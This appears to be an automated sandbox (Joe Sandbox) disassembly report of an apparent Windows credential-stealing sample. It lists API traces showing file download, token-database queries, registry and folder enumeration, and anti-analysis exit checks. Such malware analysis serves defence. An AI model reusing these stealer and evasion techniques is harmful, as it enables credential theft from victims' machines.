Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,02F84A10), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
CloseHandle.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 8d9a3180b18a5efc90efd9d912cec60318239b29a62a7d3eda4b771ff523c89c
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: 8d9a3180b18a5efc90efd9d912cec60318239b29a62a7d3eda4b771ff523c89c
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 136f340d3def94dd6f6bc6e7af2fbddae3deb45c6c7debbe56f20a408c524ea1
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 136f340d3def94dd6f6bc6e7af2fbddae3deb45c6c7debbe56f20a408c524ea1
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountId, xrefs: 0040B472
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B28A
AccountTokens, xrefs: 0040B319

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: d676f322d28b4c1fa250c3f924040077b310a2357eb5e343e8f5c9aece32a9c9
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: d676f322d28b4c1fa250c3f924040077b310a2357eb5e343e8f5c9aece32a9c9
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,02F8AC60,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,02F8A990,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.ADVAPI32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 49bd180f3d19f789d073d9977c9b899b153d1fd3672ba65f9cf7a2d2756c86b8
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 49bd180f3d19f789d073d9977c9b899b153d1fd3672ba65f9cf7a2d2756c86b8
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,02F8B318,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,02F8B940,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,02F8B8F8), ref: 00411E2B

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: 74285fbdbf58118d6c27cf8fc4d6836ea404bb9b3364695a20bbab706aa3731b
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: 74285fbdbf58118d6c27cf8fc4d6836ea404bb9b3364695a20bbab706aa3731b
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6DFF8), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6DE48), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6E040), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6DE78), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6DF08), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F66A68), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F66338), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F66238), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6E088), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6E0A0), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6DEF0), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6E0B8), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F66438), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F6E0D0), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F84890,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F66AB8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,02F66AB8,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloclstrcpy$CloseEventHandleNameUser__aulldiv$ComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1175201934-0
Opcode ID: acf2d5be18eec0460aebfd7d853c238d2cbf319fe064bfb6f9b4d80ffde41d14
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: acf2d5be18eec0460aebfd7d853c238d2cbf319fe064bfb6f9b4d80ffde41d14
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 004123F0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,02F8B718), ref: 0041244B

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412471
lstrcat.KERNEL32(?,?), ref: 00412490
lstrcat.KERNEL32(?,?), ref: 004124A4
lstrcat.KERNEL32(?,02F6A058), ref: 004124B7
lstrcat.KERNEL32(?,?), ref: 004124CB
lstrcat.KERNEL32(?,02F8B378), ref: 004124DF

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004121F0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
Part of subcall function 004121F0: HeapAlloc.KERNEL32(00000000), ref: 00412207
Part of subcall function 004121F0: wsprintfA.USER32 ref: 00412223
Part of subcall function 004121F0: FindFirstFileA.KERNEL32(?,?), ref: 0041223A

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: a8cdaff6348467220e46ecbe5bbad888972f2388953b3a41efaa7fa85cce1e20
Instruction ID: 26a05e4f659b4c4b868bb0234a0ad995871bbc4a3af1f84cd303f322fad0653f
Opcode Fuzzy Hash: a8cdaff6348467220e46ecbe5bbad888972f2388953b3a41efaa7fa85cce1e20
Instruction Fuzzy Hash: 083164B6900608A7CB20FBB0DC95EE9773DAB48704F40458EB3469A051EA7897C8CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 004011E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
__aulldiv.LIBCMT ref: 00401218
__aulldiv.LIBCMT ref: 00401226
ExitProcess.KERNEL32 ref: 00401254

Strings

@, xrefs: 004011F3

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction ID: 7bcd30568b3a9749f5c78c38f6ef54fea4689c821e8202ed383253ad67bcf250
Opcode Fuzzy Hash: bb81cb4acda70f26030c3c2501203c3bf716c46d07ed01ddf58a3b899f1b5564
Instruction Fuzzy Hash: 8601FFB0940208EADB10EFD0CD4AB9EBBB8AB54705F204059E705B62D0D6785545875D

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CCFC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CCFC969
GetSystemInfo.KERNEL32(?), ref: 6CCFC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CCFC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CCFC9E2

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1866646c278a4ee5b690f9e8259565631ab248348a14c04a9901d4196117606f
Instruction ID: 4ae0238da7e122cbd5d56fad9fc991042de4bf6d8a724a45e31cebbc228f7343
Opcode Fuzzy Hash: 1866646c278a4ee5b690f9e8259565631ab248348a14c04a9901d4196117606f
Instruction Fuzzy Hash: F521D8317416046BEB14AF65D884BBE73BDFF86300F50011AFA5396A80E7709904C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,02F84990), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction ID: f34e92357168eddbedcb052ffd5f2c6281475bb6170069d81cff4dd89e8051f4
Opcode Fuzzy Hash: 2d500382a6aefc514482708f61bb6bbe5345368defb784e312ba9a838cac8a8b
Instruction Fuzzy Hash: A621CCBA9005087BC724FBA0DD46EDA373E9B54745F00058AB64956081EE7867C48BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
